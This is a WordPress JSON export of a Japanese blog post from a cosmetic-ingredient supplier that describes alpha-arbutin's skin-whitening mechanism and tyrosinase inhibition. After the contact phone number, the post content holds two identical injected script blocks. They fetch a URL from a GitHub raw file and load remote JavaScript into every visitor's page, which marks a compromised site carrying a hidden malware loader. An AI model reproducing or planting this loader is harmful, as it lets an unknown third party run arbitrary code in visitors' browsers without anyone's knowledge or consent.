{"id":4610,"date":"2024-01-11T19:07:07","date_gmt":"2024-01-11T11:07:07","guid":{"rendered":"https:\/\/www.backvita.com\/?p=4610"},"modified":"2024-04-12T23:59:42","modified_gmt":"2024-04-12T15:59:42","slug":"is-the-whitening-mechanism-of-alpha-arbutin-not-due-to-direct-inhibition-of-tyrosinase-synthesis","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ja\/\u03b1\u30a2\u30eb\u30d6\u30c1\u30f3\u306e\u7f8e\u767d\u30e1\u30ab\u30cb\u30ba\u30e0\u306f\u30c1\u30ed\u30b7\u30ca\u30fc\u30bc\u5408\/","title":{"rendered":"\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306e\u7f8e\u767d\u30e1\u30ab\u30cb\u30ba\u30e0\u306f\u3001\u30c1\u30ed\u30b7\u30ca\u30fc\u30bc\u5408\u6210\u306e\u76f4\u63a5\u963b\u5bb3\u306b\u3088\u308b\u3082\u306e\u3067\u306f\u306a\u3044\u306e\u304b\uff1f"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-2c02b2d\" data-block-id=\"2c02b2d\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3272\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/arbutin-powder.webp\" width=\"816\" height=\"450\" alt=\"\u30a2\u30eb\u30d5\u30a1\u30fb\u30a2\u30eb\u30d6\u30c1\u30f3\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/arbutin-powder.webp 816w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/arbutin-powder-300x165.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/arbutin-powder-768x424.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/arbutin-powder-600x331.webp 600w\" sizes=\"(max-width: 816px) 100vw, 816px\" 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<a href=\"https:\/\/www.backvita.com\/ja\/\u30a2\u30eb\u30d6\u30c1\u30f3\u306e\u7f8e\u767d\u539f\u7406\u3068\u52b9\u679c\u306e\u5206\u6790\/\">\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3<\/a> \u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306f\u3001\u5316\u7ca7\u54c1\u304a\u3088\u3073\u533b\u85ac\u54c1\u7523\u696d\u306b\u304a\u3044\u3066\u5e45\u5e83\u3044\u5fdc\u7528\u304c\u53ef\u80fd\u3067\u3042\u308a\u3001\u9ad8\u3044\u5e02\u5834\u4fa1\u5024\u3092\u6709\u3057\u3066\u3044\u308b\u3002\u672c\u7a3f\u3067\u306f\u3001\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306e\u7269\u7406\u5316\u5b66\u7684\u6027\u8cea\u3001\u5b89\u5168\u6027\u3001\u4f5c\u7528\u6a5f\u5e8f\u3001\u7f8e\u767d\u306b\u95a2\u3059\u308b\u6700\u65b0\u306e\u7814\u7a76\u52d5\u5411\u3001\u69d8\u3005\u306a\u4f75\u7528\u7642\u6cd5\u3001\u304a\u3088\u3073\u73fe\u5728\u306e\u5e02\u5834\u72b6\u6cc1\u306b\u3064\u3044\u3066\u6982\u8aac\u3057\u305f\u3002\u3053\u306e\u6587\u732e\u30ec\u30d3\u30e5\u30fc\u306f\u3001\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306e\u4eca\u5f8c\u306e\u53ef\u80fd\u6027\u3092\u793a\u5506\u3059\u308b\u3082\u306e\u3067\u3042\u308b\u3002<a href=\"https:\/\/www.backvita.com\/ja\/\u7f8e\u767d\u52b9\u679c\u306e\u3042\u308b\u5316\u7ca7\u54c1\u539f\u6599\u30a2\u30eb\u30d6\u30c1\u30f3\/\">\u30a2\u30eb\u30d6\u30c1\u30f3<\/a> \u4ed6\u306e\u6709\u5bb3\u306a\u7f8e\u767d\u5264\u306b\u4ee3\u308f\u308b\u3001\u3088\u308a\u5b89\u5168\u306a\u3082\u306e\u3068\u3057\u3066\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/www.backvita.com\/ja\/\u88fd\u54c1\/alpha-arbutin\/\">\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3<\/a><\/h2>\n\n\n\n<p>\u30a2\u30eb\u30d6\u30c1\u30f3\u306f\u5929\u7136\u306e\u7f8e\u767d\u5264\u3067\u3001\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306f\u4ed6\u306e\u6709\u5bb3\u306a\u7f8e\u767d\u5264\u3088\u308a\u3082\u5b89\u5168\u306a\u4ee3\u66ff\u54c1\u3068\u3057\u3066\u4f5c\u7528\u3057\u307e\u3059\u3002\u3053\u306e\u8a18\u4e8b\u3067\u8a73\u3057\u304f\u7d39\u4ecb\u3057\u307e\u3059\u3002\u30a2\u30eb\u30d6\u30c1\u30f3\u306f\u3001\u30de\u30b8\u30e7\u30e9\u30e0\u3001\u30af\u30e9\u30f3\u30d9\u30ea\u30fc\u3001\u30d6\u30eb\u30fc\u30d9\u30ea\u30fc\u3001\u6570\u7a2e\u985e\u306e\u68a8\u306a\u3069\u3001\u591a\u304f\u306e\u690d\u7269\u79d1\u306b\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u30a2\u30eb\u30d6\u30c1\u30f3\u306f\u3001\u30c1\u30ed\u30b7\u30ca\u30fc\u30bc\u3092\u963b\u5bb3\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u3001\u30e1\u30e9\u30cb\u30f3\u306e\u751f\u6210\u3092\u52b9\u679c\u7684\u306b\u6291\u3048\u307e\u3059\u3002\u30a2\u30eb\u30d6\u30c1\u30f3\u306b\u306f\u3001\u03b1\u30a2\u30eb\u30d6\u30c1\u30f3\uff084-\u30d2\u30c9\u30ed\u30ad\u30b7\u30d5\u30a7\u30cb\u30eb-\u03b1-D-\u30b0\u30eb\u30b3\u30b7\u30c9\uff09\u3068\u03b2\u30a2\u30eb\u30d6\u30c1\u30f3\uff084-\u30d2\u30c9\u30ed\u30ad\u30b7\u30d5\u30a7\u30cb\u30eb-\u03b2-\u30b8\u30b0\u30eb\u30b3\u30b7\u30c9\uff09\u306e2\u3064\u306e\u30a2\u30a4\u30bd\u30d5\u30a9\u30fc\u30e0\u304c\u3042\u308b\u3002\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u3068\u03b2-\u30a2\u30eb\u30d6\u30c1\u30f3\u306f\u56de\u8ee2\u914d\u7f6e\u304c\u7570\u306a\u308b\u304c\u3001\u5f0f\u69cb\u9020\u306f\u540c\u3058\u3067\u3042\u308b\uff08Couteau et al.\uff09\u03b2-\u30a2\u30eb\u30d6\u30c1\u30f3\u306f\u4e00\u822c\u306b\u3001\u69d8\u3005\u306a\u690d\u7269\u306e\u8449\u3084\u76ae\u304b\u3089\u62bd\u51fa\u3055\u308c\u308b\u3002\u3057\u304b\u3057\u3001\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306f\u5929\u7136\u306b\u306f\u5b58\u5728\u305b\u305a\u3001\u5fae\u751f\u7269\u9175\u7d20\u3084\u5fae\u751f\u7269\u306e\u751f\u5408\u6210\u306b\u3088\u3063\u3066\u5408\u6210\u3055\u308c\u308b\u3002\u8208\u5473\u6df1\u3044\u3053\u3068\u306b\u3001\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306f\u30c1\u30ed\u30b7\u30ca\u30fc\u30bc\u6d3b\u6027\u306e\u963b\u5bb3\u306b\u304a\u3044\u3066\u5929\u7136\u30a2\u30eb\u30d6\u30c1\u30f3\u3088\u308a\u3082\u52b9\u679c\u7684\u3067\u3042\u308b\uff08Garcia-Jimenez et al.\uff09\u30c1\u30ed\u30b7\u30ca\u30fc\u30bc\u306e\u6d3b\u6027\u90e8\u4f4d\u3067\u306f\u3001\u03b1-\u30b0\u30eb\u30b3\u30b7\u30c9\u7d50\u5408\u306f\u03b2-\u30b0\u30eb\u30b3\u30b7\u30c9\u7d50\u5408\u3088\u308a\u3082\u5f37\u3044\u89aa\u548c\u6027\u3092\u793a\u3059\u3002\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306e\u30d2\u30c8\u30c1\u30ed\u30b7\u30ca\u30fc\u30bc\u306b\u5bfe\u3059\u308b50%\u963b\u5bb3\u6fc3\u5ea6\uff08ic50\uff09\u306f2.0 mM\u3067\u3042\u3063\u305f\u304c\u3001\u5929\u7136\u30a2\u30eb\u30d6\u30c1\u30f3\u306b\u5bfe\u3059\u308b50%\u963b\u5bb3\u6fc3\u5ea6\uff08IC50\uff09\u306f30 mM\u4ee5\u4e0a\u3067\u3042\u3063\u305f\u3002\u30e1\u30e9\u30cb\u30f3\u751f\u5408\u6210\u306b\u5bfe\u3059\u308b\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306e\u963b\u5bb3\u52b9\u679c\u306f\u3001\u57f9\u990a\u30e1\u30e9\u30ce\u30fc\u30de\u7d30\u80de\u3068\u30d2\u30c8\u76ae\u819a\u30e2\u30c7\u30eb\u3067\u7814\u7a76\u3055\u308c\u3001\u305d\u306e\u7d50\u679c\u3001\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306f\u7d30\u80de\u6bd2\u6027\u306a\u3057\u306b\u30e1\u30e9\u30cb\u30f3\u5408\u6210\u3092\u52b9\u679c\u7684\u306b\u963b\u5bb3\u3067\u304d\u308b\u3053\u3068\u304c\u793a\u3055\u308c\u305f\uff08Sugimoto\u3089\u30012004\uff09\u3002\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306f\u30de\u30a6\u30b9\u30e1\u30e9\u30ce\u30fc\u30de\u306e\u30c1\u30ed\u30b7\u30ca\u30fc\u30bc\u3092\u963b\u5bb3\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u3001\u305d\u306e\u963b\u5bb3\u52b9\u679c\u306f\u03b2-\u30a2\u30eb\u30d6\u30c1\u30f3\u306e10\u500d\u5f37\u3044\u3002\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306fHMV-II\u57f9\u990a\u30d2\u30c8\u30e1\u30e9\u30ce\u30fc\u30de\u7d30\u80de\u306e\u5897\u6b96\u3092\u963b\u5bb3\u3057\u306a\u3044\u304c\u3001\u30e1\u30e9\u30cb\u30f3\u306e\u5408\u6210\u3092\u52b9\u679c\u7684\u306b\u963b\u5bb3\u3067\u304d\u308b\u3053\u3068\u304b\u3089\u3001\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306f\u9ad8\u8272\u7d20\u8840\u75c7\u306e\u6cbb\u7642\u306b\u6709\u52b9\u304b\u3064\u5b89\u5168\u3067\u3042\u308b\u3053\u3068\u304c\u793a\u5506\u3055\u308c\u308b\u3002\u305d\u306e\u5206\u5b50\u69cb\u9020\u304b\u3089\u3001\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306f\u30cf\u30a4\u30c9\u30ed\u30ad\u30ce\u30f3\u3068\u540c\u69d8\u306e\u4f5c\u7528\u3092\u793a\u3059\u304c\u3001\u523a\u6fc0\u3084\u30e1\u30e9\u30ce\u30b5\u30a4\u30c8\u6bd2\u6027\u306f\u5c11\u306a\u3044\u3002\u307e\u305f\u3001\u5916\u56e0\u6027\u306e\u8001\u5316\u3092\u8d77\u3053\u3055\u305a\u3001\u523a\u6fc0\u3084\u611f\u4f5c\u3092\u8d77\u3053\u3057\u306b\u304f\u3044\u305f\u3081\u3001\u30cf\u30a4\u30c9\u30ed\u30ad\u30ce\u30f3\u306e\u4ee3\u66ff\u54c1\u3068\u3057\u3066\u3088\u308a\u8010\u5bb9\u6027\u304c\u9ad8\u3044\u3002\u65e5\u713c\u3051\u306b\u5bfe\u3059\u308b\u808c\u306e\u611f\u53d7\u6027\u3092\u9ad8\u3081\u308b\u3053\u3068\u306a\u304f\u3001\u65e5\u5149\u306b\u3088\u308b\u8272\u7d20\u6c88\u7740\u3084\u30d5\u30ea\u30fc\u30e9\u30b8\u30ab\u30eb\u304b\u3089\u808c\u3092\u4fdd\u8b77\u3057\u307e\u3059\u3002\u708e\u75c7\u3084\u74b0\u5883\u30b9\u30c8\u30ec\u30b9\u306b\u3088\u308b\u5909\u8272\u3092\u8584\u3081\u3001\u808c\u306e\u30c8\u30fc\u30f3\u3092\u660e\u308b\u304f\u3057\u307e\u3059\u3002\u307e\u305f\u3001\u7cd6\u306b\u3088\u308b\u30b0\u30ea\u30b3\u30b7\u30eb\u5316\u3001\u808c\u306e\u9ec4\u3070\u307f\u3001\u5f3e\u529b\u6027\u306e\u4f4e\u4e0b\u306e\u554f\u984c\u3082\u89e3\u6c7a\u3059\u308b\u3002\u5e02\u8ca9\u3055\u308c\u3066\u3044\u308b\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306f\u3001\u30b0\u30eb\u30b3\u30fc\u30b9\u30d9\u30fc\u30b9\u306e\u4f9b\u4e0e\u4f53\u3068\u53d7\u5bb9\u4f53\u3068\u3057\u3066\u306e\u30cf\u30a4\u30c9\u30ed\u30ad\u30ce\u30f3\u3068\u306e\u9593\u306e\u03b1-\u30d8\u30c6\u30ed\u30d8\u30c3\u30c9\u306e\u9078\u629e\u7684\u30c8\u30e9\u30f3\u30b9\u30b0\u30ea\u30b3\u30b7\u30eb\u5316\u3092\u89e6\u5a92\u3059\u308b\u9175\u7d20\u3092\u7528\u3044\u3066\u5408\u6210\u3055\u308c\u308b\u3002\u9175\u7d20\u7684\u751f\u5408\u6210\u306b\u52a0\u3048\u3066\u3001\u30d2\u30c9\u30ed\u30ad\u30ce\u30f3\u306f\u3044\u304f\u3064\u304b\u306e\u5fae\u751f\u7269\u306e\u52a9\u3051\u3092\u501f\u308a\u3066\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u3092\u5408\u6210\u3059\u308b\u3053\u3068\u3082\u3067\u304d\u308b\uff08Kitao et al., 1994\uff09\u3002\u672c\u7dcf\u8aac\u3067\u306f\u3001\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306b\u3064\u3044\u3066\u3001\u4ed6\u306e\u6709\u5bb3\u306a\u7f8e\u767d\u5264\u306b\u4ee3\u308f\u308b\u3001\u3088\u308a\u5b89\u5168\u306a\u4ee3\u66ff\u54c1\u3068\u3057\u3066\u306e\u65b0\u3057\u3044\u898b\u89e3\u3092\u793a\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u306e\u7d30\u80de\u304a\u3088\u3073\u5206\u5b50\u30e1\u30ab\u30cb\u30ba\u30e0 <a href=\"https:\/\/www.backvita.com\/ja\/\u7f8e\u767d\u52b9\u679c\u306e\u3042\u308b\u5316\u7ca7\u54c1\u539f\u6599\u30a2\u30eb\u30d6\u30c1\u30f3\/\">\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3<\/a><\/h2>\n\n\n\n<p>\u30c1\u30ed\u30b7\u30ca\u30fc\u30bc\u306f\u9285\u3092\u542b\u3080\u6df7\u5408\u6a5f\u80fd\u9175\u7d20\u3067\u3042\u308b\u3002\u52d5\u7269\u3001\u690d\u7269\u3001\u83cc\u985e\u3001\u5fae\u751f\u7269\u306a\u3069\u81ea\u7136\u754c\u306b\u5e83\u304f\u5206\u5e03\u3057\u3066\u3044\u308b\u3002\u76ae\u819a\u306e\u8272\u7d20\u6c88\u7740\u306e\u539f\u56e0\u3068\u306a\u308b\u30e1\u30e9\u30cb\u30f3\u306e\u751f\u6210\u3092\u52a9\u3051\u3001\u7d2b\u5916\u7dda\u306b\u3088\u308b\u76ae\u819a\u306e\u640d\u50b7\u304b\u3089\u76ae\u819a\u3092\u4fdd\u8b77\u3059\u308b\u3002\u30c1\u30ed\u30b7\u30ca\u30fc\u30bc\u306f2\u3064\u306e\u53cd\u5fdc\u3092\u89e6\u5a92\u3059\u308b\u3053\u3068\u304c\u5831\u544a\u3055\u308c\u3066\u3044\u308b\u3002\u7b2c\u4e00\u306b\u3001\u30e2\u30ce\u30d5\u30a7\u30ce\u30fc\u30eb\uff08\u30c1\u30ed\u30b7\u30f3\uff09\u306eo-\u6c34\u9178\u5316\u53cd\u5fdc\u3092\u5f15\u304d\u8d77\u3053\u3057\u3001o-\u30b8\u30d5\u30a7\u30ce\u30fc\u30eb\uff08LDOPA\uff09\u306b\u5909\u63db\u3059\u308b\uff08\u30e2\u30ce\u30d5\u30a7\u30ce\u30e9\u30fc\u30bc\u6d3b\u6027\uff09\u3002\u6b21\u306b\u3001o-\u30b8\u30d5\u30a7\u30ce\u30fc\u30eb\u306e\u9178\u5316\u3092\u89e6\u5a92\u3057\u3001o-\u30ad\u30ce\u30f3\u306b\u5909\u63db\u3059\u308b\uff08\u30b8\u30d5\u30a7\u30ce\u30fc\u30eb\u9175\u7d20\u6d3b\u6027\uff09\u3002\u30c1\u30ed\u30b7\u30ca\u30fc\u30bc\u306f\u30e1\u30e9\u30cb\u30f3\u306e\u751f\u6210\u306b\u91cd\u8981\u306a\u5f79\u5272\u3092\u679c\u305f\u3057\u3066\u3044\u308b\u3002\u30e1\u30e9\u30cb\u30f3\u306f\u7d2b\u5916\u7dda\u306b\u3088\u308b\u76ae\u819a\u306e\u640d\u50b7\u304b\u3089\u76ae\u819a\u3092\u4fdd\u8b77\u3057\u3001\u76ae\u819a\u306e\u8272\u306e\u5f62\u6210\u306b\u95a2\u4e0e\u3057\u3066\u3044\u308b\u3002\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306f\u3001\u30cf\u30a4\u30c9\u30ed\u30ad\u30ce\u30f3\u306e\u9175\u7d20\u7684\u30b0\u30ea\u30b3\u30b7\u30eb\u5316\u306b\u3088\u3063\u3066\u5408\u6210\u3055\u308c\u308b\u3002\u30e1\u30e9\u30ce\u30bd\u30fc\u30e0\u306e\u30c1\u30ed\u30b7\u30ca\u30fc\u30bc\u6d3b\u6027\u3092\u76f4\u63a5\u963b\u5bb3\u3059\u308b\u304b\u3001\u6d3b\u6027\u90e8\u4f4d\u306e\u57fa\u8cea\u3068\u3057\u3066\u30c1\u30ed\u30b7\u30ca\u30fc\u30bc\u3068\u7af6\u5408\u3057\u3001\u7f8e\u767d\u3092\u5f15\u304d\u8d77\u3053\u3059\u3002\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306e\u4f5c\u7528\u6a5f\u5e8f\u3092\u56f33\u306b\u793a\u3059\u3002Qin et al., 2014\u306f\u3001\u30ad\u30ce\u30b3\u30c1\u30ed\u30b7\u30ca\u30fc\u30bc\u306e\u30e2\u30ce\u30d5\u30a7\u30ce\u30e9\u30fc\u30bc\u3068\u30b8\u30d5\u30a7\u30ce\u30e9\u30fc\u30bc\u306e\u6d3b\u6027\u306b\u5bfe\u3059\u308b\u5f71\u97ff\u3092\u8abf\u3079\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u03b1-\u30a2\u30eb\u30d6\u30c1\u30f3\u306e\u30e1\u30ab\u30cb\u30ba\u30e0\u3092\u7814\u7a76\u3057\u305f\u3002 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(029) 8187 2325<\/strong><\/p>\n\n\n\n<p> <\/p>\n (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>) (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)","protected":false},"excerpt":{"rendered":"<p>Despite strict regulations and public health campaigns against their use, their use remains widespread across the globe. This can be attributed to the misleading marketing of harmful skin bleaches, which are widely available in the name of skin lighteners, skin toners, or creams to remove dark spots. In the search for safer alternatives to hydroquinone [&hellip;]<\/p>","protected":false},"author":1,"featured_media":2786,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"Is the whitening mechanism of alpha-arbutin not due to direct inhibition of tyrosinase synthesis?","_seopress_titles_desc":"Arbutin is a natural skin lightener, alpha-arbutin acts as a safer alternative to other harmful skin lighteners. This article introduces in detail.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[1711,1355],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Alpha-Arbutin.png",457,446,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Alpha-Arbutin-150x150.png",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Alpha-Arbutin-300x293.png",300,293,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Alpha-Arbutin.png",457,446,false],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Alpha-Arbutin.png",457,446,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Alpha-Arbutin.png",457,446,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Alpha-Arbutin.png",457,446,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Alpha-Arbutin.png",12,12,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Alpha-Arbutin-300x300.png",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Alpha-Arbutin.png",457,446,false],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Alpha-Arbutin-100x100.png",100,100,true]},"post_excerpt_stackable":"<p>Despite strict regulations and public health campaigns against their use, their use remains widespread across the globe. This can be attributed to the misleading marketing of harmful skin bleaches, which are widely available in the name of skin lighteners, skin toners, or creams to remove dark spots. In the search for safer alternatives to hydroquinone and other harmful skin lightening agents, extensive research eventually led to the discovery of alpha-arbutin. It acts by inhibiting tyrosinase activity and melanosome maturation. It is currently one of the most popular skin lightening ingredients in the world and has been used to treat many&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ja\/category\/\u696d\u754c\u52d5\u5411\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ja\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts\/4610"}],"collection":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/comments?post=4610"}],"version-history":[{"count":6,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts\/4610\/revisions"}],"predecessor-version":[{"id":6429,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/posts\/4610\/revisions\/6429"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/media\/2786"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/media?parent=4610"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/categories?post=4610"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ja\/wp-json\/wp\/v2\/tags?post=4610"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}